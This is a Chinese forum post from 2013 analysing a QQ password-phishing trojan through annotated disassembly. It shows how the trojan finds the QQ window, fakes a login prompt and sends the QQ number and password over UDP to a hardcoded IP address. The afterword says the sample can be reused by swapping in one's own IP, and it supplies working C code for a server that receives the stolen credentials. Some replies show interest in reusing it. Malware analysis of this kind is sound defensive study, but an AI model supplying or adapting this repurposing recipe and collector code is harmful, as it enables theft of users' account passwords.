JoyChou 发表于 2013-8-2 01:20

对一个QQ木马简单分析

本帖最后由 JoyChou 于 2013-8-3 13:55 编辑

//Author: JoyChou//Date: 2013年8月2日 00:50:45//Email: Viarus@163.com
原帖:http://www.52pojie.cn/thread-203672-1-1.html

程序流程:首先注册自己程序的窗口以及类等一系列窗口操作,安装了一个定时器,间隔为100ms,功能搜索QQ的类名,如果找到就利用FindWindow("5B3838F5-0C81-46D9-A4C0-6EA28CA3E942", NULL)找到当前运行的QQ号,之后隐藏QQ主界面,弹出自己的界面,利用socket发送输入的密码到指定的IP、端口,达到窃取用户的QQ密码。程序很简单不过,不过代码确实有点多,不过很多都是多是对字符串的操作,动态就直接无视吧。

具体分析:我们向下观察就可以直接来到mainmain函数代码很少,就这么少。不过当然代码基本都在消息处理窗口。
首先来到004029CA这call,利用IDA强大功能,很容易的找到窗口回调函数的地址是0x4034b0.text:00402C0E               mov   , 30h
.text:00402C15               mov   , 3
.text:00402C1C               mov   , offset sub_4034B0 ; 消息回调函数
.text:00402C23               mov   , 0
.text:00402C2A               mov   , 0
.text:00402C31               mov   eax,
接着来到004029DA|.E8 21030000   call 同学假日.00402D00这个call创建程序主窗口,标题为sadd,类名为SADD,代码如下00402D55   .68 B0F14500   push 同学假日.0045F1B0                     ; |sadd
00402D5A   .68 E8F04500   push 同学假日.0045F0E8                     ; |SADD
00402D5F   .68 80000000   push 0x80                              ;
00402D64   .FF15 E4E14400 call dword ptr ds:[<&USER32.CreateWindow>;

接着创建一个类名为Edit的编辑框,代码如下00402DC7   .51            push ecx                                 ; |// Edit
00402DC8   .6A 00         push 0x0                                 ; |ExtStyle = 0
00402DCA   .FF15 E8E14400 call dword ptr ds:[<&USER32.CreateWindow>;

接着还创建一个类名为Edit的编辑框,代码如下00402E0A   .51            push ecx                                 ; |// Edit
00402E0B   .6A 00         push 0x0                                 ; |ExtStyle = 0
00402E0D   .FF15 E8E14400 call dword ptr ds:[<&USER32.CreateWindow>;

下面对一系列的字符串进行加密操作,代码如下
00402FB7   > \68 04010000   push 0x104
00402FBC   .6A 00         push 0x0
00402FBE   .68 98F64500   push 同学假日.0045F698                     ;TXGuiFoundation
00402FC3   .E8 48740000   call 同学假日.0040A410
00402FC8   .83C4 0C       add esp,0xC
00402FCB   .68 04010000   push 0x104
00402FD0   .6A 00         push 0x0
00402FD2   .68 90F54500   push 同学假日.0045F590
00402FD7   .E8 34740000   call 同学假日.0040A410
00402FDC   .83C4 0C       add esp,0xC
00402FDF   .68 04010000   push 0x104
00402FE4   .6A 00         push 0x0
00402FE6   .68 88F44500   push 同学假日.0045F488                     ;a=x12x&b=_)&c=(*
00402FEB   .E8 20740000   call 同学假日.0040A410
00402FF0   .83C4 0C       add esp,0xC
00402FF3   .68 04010000   push 0x104
00402FF8   .6A 00         push 0x0
00402FFA   .68 80F34500   push 同学假日.0045F380                     ;密码错误,请重新输入
00402FFF   .E8 0C740000   call 同学假日.0040A410
00403004   .83C4 0C       add esp,0xC
00403007   .68 04010000   push 0x104
0040300C   .6A 00         push 0x0
0040300E   .68 78F24500   push 同学假日.0045F278                     ;密码验证成功
00403013   .E8 F8730000   call 同学假日.0040A410

进入00403287   .E8 34DEFFFF   call 同学假日.004010C0这个call首先创建了一个wanxinyi的互斥对象,保证程序只能有一个被运行,否则ExitProcess00401102   .68 BCE34400   push 同学假日.0044E3BC                     ; /wanxinyi
00401107   .6A 00         push 0x0                                 ; |InitialOwner = FALSE
00401109   .6A 00         push 0x0                                 ; |pSecurity = NULL
0040110B   .FF15 74E04400 call dword ptr ds:[<&KERNEL32.CreateMute>;
00401111   .3BF4          cmp esi,esp
00401113   .E8 D88B0000   call 同学假日.00409CF0
00401118   .8945 E8       mov dword ptr ss:,eax
0040111B   .8BF4          mov esi,esp
0040111D   .FF15 D0E04400 call dword ptr ds:[<&KERNEL32.GetLastErr>;
00401123   .3BF4          cmp esi,esp
00401125   .E8 C68B0000   call 同学假日.00409CF0
0040112A   .3D B7000000   cmp eax,0xB7
0040112F   .75 11         jnz X同学假日.00401142
00401131   .8BF4          mov esi,esp
00401133   .6A 00         push 0x0                                 ; /ExitCode = 0



接着读取sed文件的内容“amr”字符串内容0040115F   .8BF4          mov esi,esp
00401161   .68 04010000   push 0x104                               ; /BufSize = 104 (260.)
00401166   .8D85 D0FEFFFF lea eax,dword ptr ss:         ; |
0040116C   .50            push eax                                 ; |PathBuffer
0040116D   .6A 00         push 0x0                                 ; |hModule = NULL
0040116F   .FF15 D8E04400 call dword ptr ds:[<&KERNEL32.GetModuleF>; \GetModuleFileNameA
00401175   .3BF4          cmp esi,esp
00401177   .E8 748B0000   call 同学假日.00409CF0
0040117C   .8D85 D0FEFFFF lea eax,dword ptr ss:
00401182   .50            push eax
00401183   .8D8D A8FEFFFF lea ecx,dword ptr ss:
00401189   .E8 F2260000   call 同学假日.00403880
0040118E   .C745 FC 00000>mov dword ptr ss:,0x0
00401195   .A1 B8E34400   mov eax,dword ptr ds:
0040119A   .50            push eax
0040119B   .6A 5C         push 0x5C
0040119D   .8D8D A8FEFFFF lea ecx,dword ptr ss:
004011A3   .E8 482B0000   call 同学假日.00403CF0
004011A8   .50            push eax
004011A9   .6A 00         push 0x0
004011AB   .8D8D 90FDFFFF lea ecx,dword ptr ss:
004011B1   .51            push ecx
004011B2   .8D8D A8FEFFFF lea ecx,dword ptr ss:
004011B8   .E8 832B0000   call 同学假日.00403D40
004011BD   .8985 88FDFFFF mov dword ptr ss:,eax
004011C3   .8B95 88FDFFFF mov edx,dword ptr ss:
004011C9   .8995 84FDFFFF mov dword ptr ss:,edx
004011CF   .C645 FC 01    mov byte ptr ss:,0x1
004011D3   .8B85 84FDFFFF mov eax,dword ptr ss:
004011D9   .50            push eax
004011DA   .8D8D A8FEFFFF lea ecx,dword ptr ss:
004011E0   .E8 7B280000   call 同学假日.00403A60
004011E5   .C645 FC 00    mov byte ptr ss:,0x0
004011E9   .8D8D 90FDFFFF lea ecx,dword ptr ss:
004011EF   .E8 DC270000   call 同学假日.004039D0
004011F4   .68 B0E34400   push 同学假日.0044E3B0                     ;\sed
004011F9   .8D8D A8FEFFFF lea ecx,dword ptr ss:
004011FF   .E8 FC280000   call 同学假日.00403B00
00401204   .8D85 A8FEFFFF lea eax,dword ptr ss:
0040120A   .50            push eax
0040120B   .B9 30FA4500   mov ecx,同学假日.0045FA30
00401210   .E8 4B280000   call 同学假日.00403A60
00401215   .8BF4          mov esi,esp
00401217   .6A 00         push 0x0
00401219   .68 80000000   push 0x80
0040121E   .6A 03         push 0x3
00401220   .6A 00         push 0x0
00401222   .6A 01         push 0x1
00401224   .68 00000080   push 0x80000000
00401229   .8D8D A8FEFFFF lea ecx,dword ptr ss:
0040122F   .E8 7C290000   call 同学假日.00403BB0
00401234   .50            push eax                                 ; |FileName
00401235   .FF15 DCE04400 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA
0040123B   .3BF4          cmp esi,esp
0040123D   .E8 AE8A0000   call 同学假日.00409CF0
00401242   .8985 9CFEFFFF mov dword ptr ss:,eax
00401248   .83BD 9CFEFFFF>cmp dword ptr ss:,-0x1
0040124F   .75 27         jnz X同学假日.00401278
00401251   .C785 B8FDFFFF>mov dword ptr ss:,0x0
0040125B   .C745 FC FFFFF>mov dword ptr ss:,-0x1
00401262   .8D8D A8FEFFFF lea ecx,dword ptr ss:
00401268   .E8 63270000   call 同学假日.004039D0
0040126D   .8B85 B8FDFFFF mov eax,dword ptr ss:
00401273   .E9 A9000000   jmp 同学假日.00401321
00401278   >8BF4          mov esi,esp
0040127A   .6A 00         push 0x0                                 ; /pFileSizeHigh = NULL
0040127C   .8B85 9CFEFFFF mov eax,dword ptr ss:         ; |
00401282   .50            push eax                                 ; |hFile
00401283   .FF15 E0E04400 call dword ptr ds:[<&KERNEL32.GetFileSiz>; \GetFileSize
00401289   .3BF4          cmp esi,esp
0040128B   .E8 608A0000   call 同学假日.00409CF0
00401290   .8985 90FEFFFF mov dword ptr ss:,eax
00401296   .8B85 90FEFFFF mov eax,dword ptr ss:
0040129C   .83E8 16       sub eax,0x16
0040129F   .8985 90FEFFFF mov dword ptr ss:,eax
004012A5   .8BF4          mov esi,esp
004012A7   .6A 00         push 0x0                                 ; /Origin = FILE_BEGIN
004012A9   .6A 00         push 0x0                                 ; |pOffsetHi = NULL
004012AB   .8B85 90FEFFFF mov eax,dword ptr ss:         ; |
004012B1   .50            push eax                                 ; |OffsetLo
004012B2   .8B8D 9CFEFFFF mov ecx,dword ptr ss:         ; |
004012B8   .51            push ecx                                 ; |hFile
004012B9   .FF15 E4E04400 call dword ptr ds:[<&KERNEL32.SetFilePoi>; \SetFilePointer
004012BF   .3BF4          cmp esi,esp
004012C1   .E8 2A8A0000   call 同学假日.00409CF0
004012C6   .8BF4          mov esi,esp
004012C8   .6A 00         push 0x0                                 ; /pOverlapped = NULL
004012CA   .8D45 DC       lea eax,dword ptr ss:          ; |
004012CD   .50            push eax                                 ; |pBytesRead
004012CE   .6A 06         push 0x6                                 ; |BytesToRead = 6
004012D0   .68 14FA4500   push 同学假日.0045FA14                     ; |amr
004012D5   .8B8D 9CFEFFFF mov ecx,dword ptr ss:         ; |
004012DB   .51            push ecx                                 ; |hFile
004012DC   .FF15 E8E04400 call dword ptr ds:[<&KERNEL32.ReadFile>] ; \ReadFile

跳出上面那个call,继续,初始化了初始化socket004032B5   .50            push eax                                       ; /pWSAData
004032B6   .0FB78D 50FFFF>movzx ecx,word ptr ss:               ; |
004032BD   .51            push ecx                                       ; |RequestedVersion
004032BE   .FF15 5CE24400 call dword ptr ds:[<&WS2_32.#115>]               ; \WSAStartup

以及对窗口的设置
0040330D   .50            push eax                                       ; |ResourceName
0040330E   .A1 E4F04500   mov eax,dword ptr ds:                  ; |
00403313   .50            push eax                                       ; |hInst => 00400000
00403314   .FF15 F0E14400 call dword ptr ds:[<&USER32.LoadImageA>]         ; \LoadImageA
0040331A   .3BF4          cmp esi,esp
0040331C   .E8 CF690000   call 同学假日.00409CF0
00403321   .A3 CCF74500   mov dword ptr ds:,eax
00403326   .8BF4          mov esi,esp
00403328   .A1 0CF94500   mov eax,dword ptr ds:
0040332D   .50            push eax                                       ; /hDC => 050105E7
0040332E   .FF15 00E04400 call dword ptr ds:[<&GDI32.CreateCompatibleDC>]; \CreateCompatibleDC
00403334   .3BF4          cmp esi,esp
00403336   .E8 B5690000   call 同学假日.00409CF0
0040333B   .A3 D0F74500   mov dword ptr ds:,eax
00403340   .8BF4          mov esi,esp
00403342   .A1 CCF74500   mov eax,dword ptr ds:
00403347   .50            push eax                                       ; /hObject => 2D050A61
00403348   .8B0D D0F74500 mov ecx,dword ptr ds:                  ; |
0040334E   .51            push ecx                                       ; |hDC => 61010A60
0040334F   .FF15 10E04400 call dword ptr ds:[<&GDI32.SelectObject>]      ; \SelectObject
00403355   .3BF4          cmp esi,esp
00403357   .E8 94690000   call 同学假日.00409CF0
0040335C   .8BF4          mov esi,esp
0040335E   .68 2000CC00   push 0xCC0020                                    ; /ROP = SRCCOPY
00403363   .6A 00         push 0x0                                       ; |YSrc = 0
00403365   .6A 00         push 0x0                                       ; |XSrc = 0
00403367   .A1 D0F74500   mov eax,dword ptr ds:                  ; |
0040336C   .50            push eax                                       ; |hSrcDC => 61010A60
0040336D   .68 DF000000   push 0xDF                                        ; |Height = DF (223.)
00403372   .68 77010000   push 0x177                                       ; |Width = 177 (375.)
00403377   .6A 00         push 0x0                                       ; |YDest = 0
00403379   .6A 00         push 0x0                                       ; |XDest = 0
0040337B   .8B0D 0CF94500 mov ecx,dword ptr ds:                  ; |
00403381   .51            push ecx                                       ; |hDestDC => 050105E7
00403382   .FF15 04E04400 call dword ptr ds:[<&GDI32.BitBlt>]            ; \BitBlt
00403388   .3BF4          cmp esi,esp
0040338A   .E8 61690000   call 同学假日.00409CF0
0040338F   .8BF4          mov esi,esp
00403391   .6A 05         push 0x5                                       ; /HeightEllipse = 5
00403393   .6A 05         push 0x5                                       ; |WidthEllipse = 5
00403395   .68 E0000000   push 0xE0                                        ; |Bottom = E0 (224.)
0040339A   .68 78010000   push 0x178                                       ; |Right = 178 (376.)
0040339F   .6A 00         push 0x0                                       ; |Top = 0
004033A1   .6A 00         push 0x0                                       ; |Left = 0
004033A3   .FF15 08E04400 call dword ptr ds:[<&GDI32.CreateRoundRectRgn>]; \CreateRoundRectRgn
004033A9   .3BF4          cmp esi,esp
004033AB   .E8 40690000   call 同学假日.00409CF0
004033B0   .8985 A0FDFFFF mov dword ptr ss:,eax
004033B6   .8BF4          mov esi,esp
004033B8   .6A 01         push 0x1                                       ; /Redraw = TRUE
004033BA   .8B85 A0FDFFFF mov eax,dword ptr ss:               ; |
004033C0   .50            push eax                                       ; |hRgn
004033C1   .8B4D F4       mov ecx,dword ptr ss:                   ; |
004033C4   .51            push ecx                                       ; |hWnd
004033C5   .FF15 F4E14400 call dword ptr ds:[<&USER32.SetWindowRgn>]       ; \SetWindowRgn

再接着安装了一个100ms的定时器,当回调函数参数为NULL,会向程序发送WM_TIMER消息,代码如下004033E8   .6A 00         push 0x0                                 ; /Timerproc = NULL
004033EA   .6A 64         push 0x64                              ; |Timeout = 100. ms
004033EC   .6A 01         push 0x1                                 ; |TimerID = 1
004033EE   .8B45 F4       mov eax,dword ptr ss:         ; |
004033F1   .50            push eax                                 ; |hWnd
004033F2   .FF15 F8E14400 call dword ptr ds:[<&USER32.SetTimer>]   ; \SetTimer

然后以SW_HIDE隐藏的方式显示钓鱼窗口00403401   .6A 00         push 0x0                                       ; /ShowState = SW_HIDE
00403403   .8B45 F4       mov eax,dword ptr ss:                   ; |
00403406   .50            push eax                                       ; |hWnd
00403407   .FF15 B0E14400 call dword ptr ds:[<&USER32.ShowWindow>]         ; \ShowWindow
0040340D   .3BF4          cmp esi,esp
0040340F   .E8 DC680000   call 同学假日.00409CF0
00403414   .8BF4          mov esi,esp
00403416   .8B45 F4       mov eax,dword ptr ss:
00403419   .50            push eax                                       ; /hWnd
0040341A   .FF15 44E24400 call dword ptr ds:[<&USER32.UpdateWindow>]       ; \UpdateWindow


回到main函数就是消息循环了,此时我们来到消息处理函数4034b0处当程序收到0x113也就是WM_TIMER消息的时候,跳到0x004036F40040350E|.81BD C4FDFFFF>cmp ,0x113
00403518|.0F84 D6010000 je 同学假日.004036F4
0040351E|.83BD C4FDFFFF>cmp ,0x2
00403525|.0F84 D7010000 je 同学假日.00403702

那我们就来到0x004036F4,代码如下004036F4|> \8B45 08       mov eax,                        ;// 消息等于0x113 WM_TIMER
004036F7|.50            push eax
004036F8|.E8 D3E6FFFF   call 同学假日.00401DD0      
进入00401DD0这个CALL以后,再进入
00401E10|.E8 1BFCFFFF   call 同学假日.00401A30
动态获取GetForegroundWindow函数的地址
00401B7D|.50            push eax                                 ; /ProcNameOrOrdinal
00401B7E|.8B4D E0       mov ecx,                        ; |
00401B81|.51            push ecx                                 ; |hModule
00401B82|.FF15 24E04400 call dword ptr ds:[<&KERNEL32.GetProcAdd>; \GetProcAddress
并且在下面调用
00401B8F|.8945 D4       mov ,eax
00401B92|.837D D4 00    cmp ,0x0
00401B96|.75 04         jnz X同学假日.00401B9C
00401B98|.33C0          xor eax,eax
00401B9A|.EB 0C         jmp X同学假日.00401BA8
00401B9C|>8BF4          mov esi,esp
00401B9E|.FF55 D4       call

下面这个call类似,动态获取GetClassNameA(hwnd, LPSTR,INT)函数的地址,并且运行,获取当前窗口的类名00401E45|.E8 C6FDFFFF   call 同学假日.00401C1000401E45|.E8 C6FDFFFF   call 同学假日.00401C10
00401C75|.50            push eax                                                   ; /FileName
00401C76|.FF15 28E04400 call dword ptr ds:[<&KERNEL32.LoadLibraryA>]               ; \LoadLibraryA
00401C7C|.3BF4          cmp esi,esp
00401C7E|.E8 6D800000   call 同学假日.00409CF0
00401C83|.8945 E0       mov ,eax
00401C86|.837D E0 00    cmp ,0x0
00401C8A|.75 07         jnz X同学假日.00401C93
00401C8C|.33C0          xor eax,eax
00401C8E|.E9 BB000000   jmp 同学假日.00401D4E
00401C93|>C745 D4 00000>mov ,0x0
00401C9A|.C685 68FFFFFF>mov byte ptr ss:,0x0
00401CA1|.6A 63         push 0x63
00401CA3|.6A 00         push 0x0
00401CA5|.8D85 69FFFFFF lea eax,dword ptr ss:
00401CAB|.50            push eax
00401CAC|.E8 5F870000   call 同学假日.0040A410
00401CB1|.83C4 0C       add esp,0xC
00401CB4|.C685 68FFFFFF>mov byte ptr ss:,0x47
00401CBB|.C685 69FFFFFF>mov byte ptr ss:,0x65
00401CC2|.C685 6AFFFFFF>mov byte ptr ss:,0x74
00401CC9|.C685 6BFFFFFF>mov byte ptr ss:,0x43
00401CD0|.C685 6CFFFFFF>mov byte ptr ss:,0x6C
00401CD7|.C685 6DFFFFFF>mov byte ptr ss:,0x61
00401CDE|.C685 6EFFFFFF>mov byte ptr ss:,0x73
00401CE5|.C685 6FFFFFFF>mov byte ptr ss:,0x73
00401CEC|.C685 70FFFFFF>mov byte ptr ss:,0x4E
00401CF3|.C685 71FFFFFF>mov byte ptr ss:,0x61
00401CFA|.C685 72FFFFFF>mov byte ptr ss:,0x6D
00401D01|.C685 73FFFFFF>mov byte ptr ss:,0x65
00401D08|.C685 74FFFFFF>mov byte ptr ss:,0x41
00401D0F|.8BF4          mov esi,esp
00401D11|.8D85 68FFFFFF lea eax,
00401D17|.50            push eax                                                   ; /ProcNameOrOrdinal = "GetClassNameA"
00401D18|.8B4D E0       mov ecx,                                          ; |
00401D1B|.51            push ecx                                                   ; |hModule
00401D1C|.FF15 24E04400 call dword ptr ds:[<&KERNEL32.GetProcAddress>]               ; \GetProcAddress
00401D22|.3BF4          cmp esi,esp
00401D24|.E8 C77F0000   call 同学假日.00409CF0
00401D29|.8945 D4       mov ,eax
00401D2C|.837D D4 00    cmp ,0x0
00401D30|.75 04         jnz X同学假日.00401D36
00401D32|.33C0          xor eax,eax
00401D34|.EB 18         jmp X同学假日.00401D4E
00401D36|>8BF4          mov esi,esp
00401D38|.8B45 10       mov eax,
00401D3B|.50            push eax
00401D3C|.8B4D 0C       mov ecx,
00401D3F|.51            push ecx
00401D40|.8B55 08       mov edx,
00401D43|.52            push edx
00401D44|.FF55 D4       call                                               ;// 调用GetClassNameA


接下来,当前窗口类名和QQ类名,进行比较,如果是TXGuiFoundation类名就继续向下执行,否则就继续在WM_TIMER回调函数里继续寻找TXGuiFoundation00401E4D|.68 98F64500   push 同学假日.0045F698                     ;TXGuiFoundation
00401E52|.8D85 DCFEFFFF lea eax,
00401E58|.50            push eax
00401E59|.E8 E2020000   call 同学假日.00402140                     ;// compare
00401E5E|.83C4 08       add esp,0x8                              ;// 如果是TXGuiFoundation类名就继续向下执行,
00401E61|.85C0          test eax,eax                           ;// 否则就继续在WM_TIMER回调函数里继续寻找TXGuiFoundation
00401E63|.0F84 58020000 je 同学假日.004020C1,运行到00401E63这后,看堆栈信息0012F830   0012F994ASCII "TXGuiFoundation"0012F834   0045F698ASCII "TXGuiFoundation"两者相等,这里说明下,只要QQ在桌面,那么它就是激活的窗口。

类似下面的代码(MFC)最新的QQ版本,要把鼠标焦点放在QQ窗口,才能MessageBox弹出低一点的版本,QQ在桌面窗口就能获取。
void CMy1Dlg::OnOK()
{
      // TODO: Add extra validation here
      while(1)
      {
                HWND hWnd = ::GetForegroundWindow();
                char szClassName = {0};
               
                ::GetClassNameA(hWnd, szClassName, MAX_PATH);
                if (!strcmp(szClassName, "TXGuiFoundation"))
                {
                        ::MessageBox(NULL, szClassName, "-)", 0);
                        break;
                }
               
      }
      
      CDialog::OnOK();
}
接着进入下面这个call00401E74      E8 57F6FFFF   call 同学假日.004014D0                     ;这个call通过下面这样的形式获取到当前运行的QQ号HWND hwnd = FindWindow("5B3838F5-0C81-46D9-A4C0-6EA28CA3E942", NULL);
      if (hwnd != NULL)
      {
                //DWORD calcID;
                char szText = {0};
                //QQ号,存在szText
                GetWindowText(hwnd, szText, MAX_PATH);
                printf("%s", szText);
                getchar();
      }
//输出qqexchangewnd_shortcut_prefix_769628867

Ctrl+F9走出这个call,后,就是对字符qqexchangewnd_shortcut_prefix_769628867进行截取的操作,获取到QQ好,然后填入到编辑框中。到此,WM_TIMER消息就分析完了接着分析0x202,WM_LBUTTONUP消息重载样本,利用OD搜索字符串,双击到这,找到断首,下断

然后F9运行起来,此时弹出界面(运行的是最后QQ没有被隐藏,如果隐藏了,右键任务栏QQ图标,等几s就能弹出界面),输入密码123456,点击登录,程序就断了下来

进入下面004025D9的call,发现是对socket处理,进行发包操作,004025C3|.89A5 7CFEFFFF mov ,esp
004025C9|.68 10E44400   push 同学假日.0044E410                     ;192.74.230.75
004025CE|.E8 AD120000   call 同学假日.00403880
004025D3|.8985 ACFDFFFF mov ,eax
004025D9|.E8 52FCFFFF   call 同学假日.00402230                     ;// 密码错误

F9运行会显示“密码错误,请重新输入”下面的界面

重新输入程序又断了下来,此时依然进入进入下面004025D9的call,就没提示错误了,发包也成功了。作者显示一个错误的目的就是收到两次用户名、密码,仅此而已。发送的数据格式为a=769628867&b=123456&c=amr,a=      QQ号&b=密码&c=amr,amr是从本样本的sed文件读取。运行完刚那个call,来到00402841,向下单步 显示“密码验证成功”,并且隐藏样本界面,到此样本就分析完了,很简单,只是代码有点多。00402841|.E8 EAFBFFFF   call 同学假日.00402430
00402846|.83C4 08       add esp,0x8
00402849|.8BF4          mov esi,esp
0040284B|.68 C5E34400   push 同学假日.0044E3C5                     ; /Text = ""
00402850|.8B45 E8       mov eax,                        ; |
00402853|.50            push eax                                 ; |hWnd
00402854|.FF15 24E24400 call dword ptr ds:[<&USER32.SetWindowTex>; \SetWindowTextA
0040285A|.3BF4          cmp esi,esp
0040285C|.E8 8F740000   call 同学假日.00409CF0
00402861|.8BF4          mov esi,esp
00402863|.6A 00         push 0x0                                 ; /ShowState = SW_HIDE
00402865|.8B45 08       mov eax,                        ; |
00402868|.50            push eax                                 ; |hWnd
00402869|.FF15 B0E14400 call dword ptr ds:[<&USER32.ShowWindow>] ; \ShowWindow
到此样本就分析完了。分析得很简单。
后记:这个钓鱼样本,如果把发包的IP改成自己的IP,自己写个服务端,就可以自己用了。
很简单,测试也成功了。UDP格式的。

代码如下
#include <WINSOCK2.H>
#include "StdAfx.h"
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "WS2_32.lib")      // 必须在头文件下面,否则报错

void main()
{
      WORD wVersionRequested;//版本号
      WSADATA wsaData;
      int err;

      wVersionRequested = MAKEWORD(2, 2);//2.2版本的套接字
      //加载套接字库,如果失败返回
      err = WSAStartup(wVersionRequested, &wsaData);
      if (err != 0)
      {
                return;
      }
      
      //判断高低字节是不是2,如果不是2.2的版本则退出
      if (LOBYTE(wsaData.wVersion) != 2 ||
               
                HIBYTE(wsaData.wVersion) != 2)
      {
                return;
      }
   
      SOCKET socRecv = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
      
      //Socket地址结构体的创建
      
      SOCKADDR_IN addrSrv;
      
      addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//转换Unsigned long型为网络字节序格
      addrSrv.sin_family = AF_INET;//指定地址簇
      addrSrv.sin_port = ntohs(0x118C);      // 转换成host主机型的居然也可以连接,木马中是这样写的,所以按照这样

      bind(socRecv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR));//必须用sizeof,strlen不行

      SOCKADDR_IN addrClient;
      char szRecvBuffer = {0};
      int len = sizeof(SOCKADDR);
      int iRevmNum = 0;

      while (1)
      {
                iRevmNum = recvfrom(socRecv, szRecvBuffer, MAX_PATH, 0, (SOCKADDR*)&addrClient, &len);
                if (0 == iRevmNum || iRevmNum == SOCKET_ERROR)
                {
                        break;
                }
                printf("%s\n", szRecvBuffer);
      }
      closesocket(socRecv);
      WSACleanup();
      fflush(stdin);
      getchar();
      
}

附件: 包括idb、文档、样本。



咖啡朝阳 发表于 2014-3-25 22:12

后记:这个钓鱼样本,如果把发包的IP改成自己的IP,自己写个服务端,就可以自己用了。
很简单,测试也成功了。UDP格式的。

这里不太明白,怎么在网页上显示呢

alexjeniks 发表于 2013-8-2 01:40

你的分析比我到位。受教了!

小淫仙 发表于 2013-8-2 02:38

膜拜大牛啊,不会分析的来过

齐恩 发表于 2013-8-2 05:18

这个木马的思路不错啊

txke 发表于 2013-8-2 08:05

又看到到了样本分析的教程了。谢谢JC大大分享经验

羅少 发表于 2013-8-2 08:26

表示非常给力!!!!

逍遥枷锁 发表于 2013-8-2 08:26

很不错的帖子来学习

tdl6 发表于 2013-8-2 09:11

来学习得 但是太高深了

cracksman 发表于 2013-8-2 17:34

辛苦了,学习学习

kangkai 发表于 2013-8-4 21:48

膜拜一下
页: [1] 2 3 4
查看完整版本: 对一个QQ木马简单分析